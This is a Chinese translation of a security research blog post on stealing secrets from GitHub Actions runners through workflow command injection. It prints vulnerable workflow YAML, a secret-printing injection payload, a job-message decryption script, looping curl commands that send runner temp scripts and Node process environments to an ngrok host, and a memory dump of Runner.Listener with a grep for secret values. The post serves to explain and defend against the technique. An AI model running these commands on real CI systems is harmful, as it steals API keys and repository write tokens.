GitHub Actions不当操作导致的隐私泄露
2024-6-6 16:14:31 Author: www.freebuf.com(查看原文) 阅读量:9 收藏

0X00 GitHub Actions

GitHub Actions是GitHub内置的CI/CD解决方案。它允许用户在每次推送时部署他们仓库的代码,或者在新的GitHub问题上自动响应。操作工作流被定义为放置在.github/workflows中的YAML文件。工作流(即Workflows)由作业(即jobs)组成,这些作业异步运行并且在单独的托管机器中运行,与此同时作业也被分解为步骤(steps)。

注释:CI/CD解决方案具体可以看看,我翻译的《【翻译】一种特殊的GitHub权限提升方法》这篇文章

就安全性而言,GitHub Actions中的主要漏洞是命令注入攻击;具体代码如下所示:

name: command-injection-demo
on:
  issue_comment:
    types: [created]
jobs:
  comment-action:
    runs-on: ubuntu-latest
    steps:
      - name: Echo Issue Comment
        run: |
          echo ${{ github.event.comment.body }}

该漏洞会在评论提问时触发,并通过shell传递(即用run定义)回显评论的内容。因为大括号输入语法(${{}})不会转义输入值,所以我们可以在托管机器上实现命令注入攻击。下图是评论后的显示的日志和whoami信息:
image.png
那么这样的命令注入攻击会造成什么影响?GitHub Actions工作流经常依赖于敏感信息(例如:API密钥和密码...)。这些敏感信息会在仓库的设置中留下痕迹,并通过secrets对象在工作流中被引用:

name: command-injection-demo
on:
  issue_comment:
    types: [created]
env:
  API_KEY: ${{ secrets.API_KEY }}
jobs:
  comment-action:
    runs-on: ubuntu-latest
    steps:
      - name: Call Webhook Using API Key
        run: |
          curl https://web-hook-url/comment?issue_id=${{ github.event.issue.number }} -H "X-API-Key: $API_KEY" -d "comment_body=${{ github.event.comment.body }}"

因此,如果一个工作流作业容易受到命令注入攻击的影响,我们就可以获取其敏感信息。在上面的例子中,评论; echo $API_KEY | xxd -p 2会将API密钥打印到我们所构建日志中。
然而,并非所有工作流通过环境变量泄露敏感信息。如果${{ secrets.API_KEY }}被直接引用在curl命令中会怎样呢?此外,如果curl命令与命令注入不在同一个步骤中会怎样?更进一步,如果没有利用敏感信息还会造成影响吗?在这篇博客文章中,我将记录GitHub Actions运行器(执行工作流作业的代码)的内部工作原理。然后,我将探索从GitHub Actions泄露秘密值的各种方法:读取文件和环境变量进程通信,以及转储内存

0X01 GitHub Actions运行器

GitHub Actions运行器有两个主要组件:Runner.ListenerRunner.Worker。Runner.Listener从远程actions服务监听工作流作业。一旦它接收到消息,Runner.Listener将解密作业详情并启动一个Runner.Worker来执行作业。这个过程可以用官方运行器文档中的图片来解释,如下图所示:
image
有两种类型的运行器:托管运行器和自托管运行器。托管运行器是由GitHub管理的默认运行器。它们在其机器终止之前只处理单个作业,并且由机器管理服务自动配置,如下图所示:
image
.runner文件包含诸如与之通信的API端点的信息,而.credentials包含OAuth访问令牌以获取作业消息。自托管运行器是由用户托管的运行器。在初始配置时,它们会生成一个RSA密钥对,并将公钥注册到动作服务中,以便它可以发送加密数据,如下图所示:
image
作业消息很可能作为针对访问令牌泄露的安全措施而被加密。拥有访问令牌却没有相应私钥的攻击者无法解密作业消息,就导致其只能发送“获取消息”请求并接收加密的作业数据。有了私钥,运行器解密一个AES加密密钥,并使用该密钥来解密作业消息,(另一方面,托管运行器接收一个已解密的AES密钥,不依赖于RSA加密;这是因为它们的访问令牌在作业完成后不久就会过期)。

0X02 网络流量分析

自托管运行器很难安全地配置,因此GitHub只推荐在私有仓库中使用它们。然而,为了更好地理解GitHub Actions运行器如何工作,我将启动一个自托管实例,并通过HTTP代理(Burp Suite)对其进行分析。在动作设置页面,我们遵循了自托管实例的设置指南,如下图所示:
image
./config.sh步骤生成了三个配置文件:.runner.credentials.credentials_rsaparams。最后一个文件仅在自托管运行器中存在,包含了JSON格式的RSA私钥参数。
在运行步骤(./run.sh)中,我添加了http_proxy和https_proxy环境变量,通过Burp Suite进行代理:http_proxy=http://127.0.0.1:8080https_proxy=http://127.0.0.1:8080 ./run.sh。在接收到访问令牌后,运行器请求了一个会话和加密的AES密钥,如下图所示:
image
然后,我们开始通过HTTP长轮询请求监听消息,如下图所示:
image
image

我推送了一个在自托管运行器上运行的工作流程(代码如下所示runs-on: self-hosted):

name: command-injection-demo
on:
  issue_comment:
    types: [created]
jobs:
  comment-action:
    runs-on: self-hosted
    steps:
      - name: Echo Issue Comment
        run: |
          echo ${{ github.event.comment.body }}

注释:这段代码是GitHub Actions的一个工作流程配置示例,由于使用了${{ github.event.comment.body }}来动态插入issue评论内容。这意味着如果issue评论包含shell代码,该代码将在自托管的运行器上执行,从而可能导致命令注入攻击。

当我触发了工作流(通过创建一个问题评论)后,长轮询请求接收到了一个包含加密的作业消息和一个AES初始化向量(IV)的响应,如下图所示:
image
因为我有私钥,我可以解密AES加密密钥并解密消息体。参考了Actions运行器的源代码(代码链接),我编写了以下解密脚本:

import sys
import json
from base64 import b64decode, b64encode
from binascii import hexlify
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
from Crypto.Hash import SHA256

if len(sys.argv) != 5:
    print("Usage: decrypt.py RSA_PARAMS_FILE AES_KEY_B64 IV_B64 DATA_FILE")
    exit(1)
# Use RSA params to decrypt AES key
with open(sys.argv[1], "r") as f:
    rsa_params = json.load(f)
rsa_params = {k: int(hexlify(b64decode(v)), 16) for k, v in rsa_params.items()}
key = RSA.construct((rsa_params["modulus"], rsa_params["exponent"], rsa_params["d"], rsa_params["p"], rsa_params["q"]))
key = PKCS1_OAEP.new(key, hashAlgo=SHA256)
aes_key = b64decode(sys.argv[2])
aes_key = key.decrypt(aes_key)
# Use AES key and IV to decrypt data
iv = b64decode(sys.argv[3])
aes_decrypter = AES.new(aes_key, AES.MODE_CBC, iv=iv)
with open(sys.argv[4], "r") as f:
   data = b64decode(f.read().rstrip("\n"))
data = aes_decrypter.decrypt(data)
print(data.decode("utf-8"))

解密后的消息包含了运行作业所需的所有信息,从步骤本身(以JSON格式而非YAML)到GitHub上下文数据(如问题评论和仓库URL),如下图所示:
image
对我们来说最相关的是variables字段。除了其他内容,它包含了作业的秘密值和GitHub令牌!我们可以获取GitHub Actions泄露的敏感信息,如下图所示:
image

0X03 读取文件和环境变量

在执行作业之前,Runner.Worker必须将作业详情转换为可执行代码。shell动作的结果代码存储在/home/runner/work/_temp中。Runner.Worker还会扩展shell动作包含的任何引用和秘密。因此,揭示秘密的第一种方法是读取/home/runner/work中相应的.sh文件:
image

注释:Runner.Worker是GitHub Actions架构中的一个关键组件,用于执行GitHub Actions工作流中定义的作业(jobs)。

请注意,我正在从运行器机器运行一个反向shell。你也可以选择从构建日志中读取这些值。这还会打印在之前步骤中已执行的shell。对于以后执行的shell,我们创建了一个异步进程,持续不断地从/home/runner/work/_temp中泄露出.sh文件:

while true; do curl -s 'https://4ddc-91-197-46-143.ngrok.io' -H "Content-Type: text/plain" -d "$(cat /home/runner/work/_temp/*)" -o /dev/null; done &

注释:上述代码是一个无限循环的Shell命令,shell命令的目的是持续监视/home/runner/work/_temp/目录下的文件变化,并将这些文件的内容通过静默运行的http协议发送到一个指定的远程服务器上。

image
另一种类型的步骤是JavaScript动作。它包含一个action.yml清单文件,该文件指定输入参数和一个用Node.js执行的JavaScript文件。然后,工作流步骤使用uses键引用该动作,并使用with传递参数:

- name: An Example of a JavaScript Action
  uses: user/repo@v3
  with:
    example_argument_1: ${{ secrets.API_KEY }}
    example_argument_2: "Hello world"

注释:这是一个在GitHub Actions工作流程中使用JavaScript Action的YAML配置示例。这种配置方式允许工作流在执行JavaScript动作时传递敏感信息和其他配置数据。

与shell动作不同,Runner.Worker不会将秘密硬编码到JavaScript动作中。JavaScript动作改为通过环境变量接收输入值——传递到Node.js进程中。为了暴露那些秘密,我们异步读取未来Node.js进程的环境变量:

while true; do curl -s 'https://4ddc-91-197-46-143.ngrok.io' -H "Content-Type: text/plain" -d "$(ps axe | grep node)" -o /dev/null; done &

注释:这是用于在后台无限循环发送系统进程信息到指定服务器的Shell命令的脚本,这段脚本的目的是持续监测系统中与node相关的所有进程,并将这些信息发送到指定的服务器。

image
我们现在已经取得了进展:我们可以获取shell和JavaScript泄漏的敏感信息,不仅仅是在环境变量中引用这些信息。这些技术已经由Cycode的Alex Ilgayev记录下来。然而,虽然我们可以获取shell泄露的信息,无论步骤顺序如何,但我们不能对JavaScript动作做同样的事情。如果一个JavaScript动作在我们的命令注入之前运行,Node.js进程将不会可用于我们读取其环境变量。此外,一个JavaScript动作可以包含一个执行条件(通过if键),我们无法通过:

- name: An Example of a JavaScript Action
  if: github.actor == admin_username # only the admin can execute this action
  uses: user/repo@v3
  with:
    example_argument_1: ${{ secrets.API_KEY }}
    example_argument_2: "Hello world"

0X04 拦截API和IPC

从对Runner.Listener的代理分析中,我们知道它接收到了工作流作业的所有秘密。我们能从API拦截作业消息并读取其秘密吗?或者我们能监听Runner.Listener和Runner.Worker进程之间的进程间通信(IPC)吗?这样,我们工作流作业步骤的顺序和执行就不重要了:我们从一开始就泄露所有的敏感信息。
不幸的是,我们的命令注入来得太迟。当命令注入执行时,Runner.Listener已经接收到了工作流作业并将其发送给Runner.Worker,否则带有命令注入的步骤就不会执行。我们就没有什么可以拦截的了。

0X05 转储内存


然而,还有一种最后的方法。在我们的命令注入同时,Runner.Listener进程仍在运行,并记录每个步骤的输出。这是同一个接收初始作业数据的进程。那么,我们能否转储它的内存并窥视过去呢?答案是肯定的,托管机器上的runner用户拥有sudo权限,因此有能力读取任何进程的内存,如下图所示:
image

sudo apt-get install -y gdb && \
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

注释:这段命令是为了在Linux系统中安装GDB(GNU调试器),并且创建GitHub Actions Runner.Listener进程的内存转储文件。其目的是确保gdb的安装,然后查找Runner.Listener进程的PID,并通过gcore生成该进程的内存转储文件k.dump

然后,我们对内存转储进行grep操作,搜索秘密值的格式——根据我们在网络分析中解密的作业数据:

grep -Eao '"[^"]+":\{"value":"[^"]*","issecret":true\}' k.dump*

注释:这条命令是为了在一个或多个内存转储文件中搜索特定的模式,通常是用来匹配和提取包含敏感信息的内容。其目的是在k.dump开头的任何内存转储文件中,搜索并输出所有被标记为issecret的键值对,这通常用于识别和提取敏感信息。
image
因此,我们拥有了工作流作业引用的所有敏感信息。我们不需要担心JavaScript动作在我们的命令注入步骤之前,或者JavaScript动作有严格的执行条件。尽管如此,我们仍然面临一个挑战:当一个工作流作业不引用敏感信息时,会有什么安全影响?注意到秘密包括一个GitHub访问令牌值(在system.github.token下)。这个敏感信息总是包含在工作流运行中:除其他外,运行器使用它来认证GitHub API并安装远程JavaScript动作。因此,我们总是可以泄露令牌——即使没有用${{ secrets.GITHUB_TOKEN }}引用。该令牌默认具有对仓库的读写权限,我们可以使用它来修改仓库的代码!
当然有一个例外。组织和仓库可以根据触发事件对令牌强制执行只读权限。但当不是这种情况时,使用令牌可以写入存储库,对企业的安全建设带来严重的风险。

0X06 结论

为了从容易受到命令注入影响的GitHub Actions工作流中泄露秘密,我们探索了三个不同的想法:读取文件和环境变量,进程通信,以及转储内存。我们通过读取其相应的.sh文件来泄露任何shell动作的信息。同样,我们读取JavaScript Actions的环境变量以揭示作为输入传递的秘密。然而,这些方法对所有工作流都不够:我们无法访问在我们的命令注入步骤之前定义的或具有严格执行条件的JavaScript动作。此外,对于不引用秘密的工作流,我们无能为力。从网络分析中,我们知道Runner.Listener一次性接收到所有秘密。但网络或IPC拦截不起作用:命令注入在接收到作业详情后运行,因为它是作业步骤的一部分。转储Runner.Listener的内存被证明是金牌方法。它向我们揭示了所有引用的秘密,以及一个具有写访问权限的GitHub访问令牌。所有这一切都证明了一件事:容易受到攻击的工作流无法保守企业的敏感信息。

原文链接:https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/


文章来源: https://www.freebuf.com/articles/es/402937.html
如有侵权请联系:admin#unsafe.sh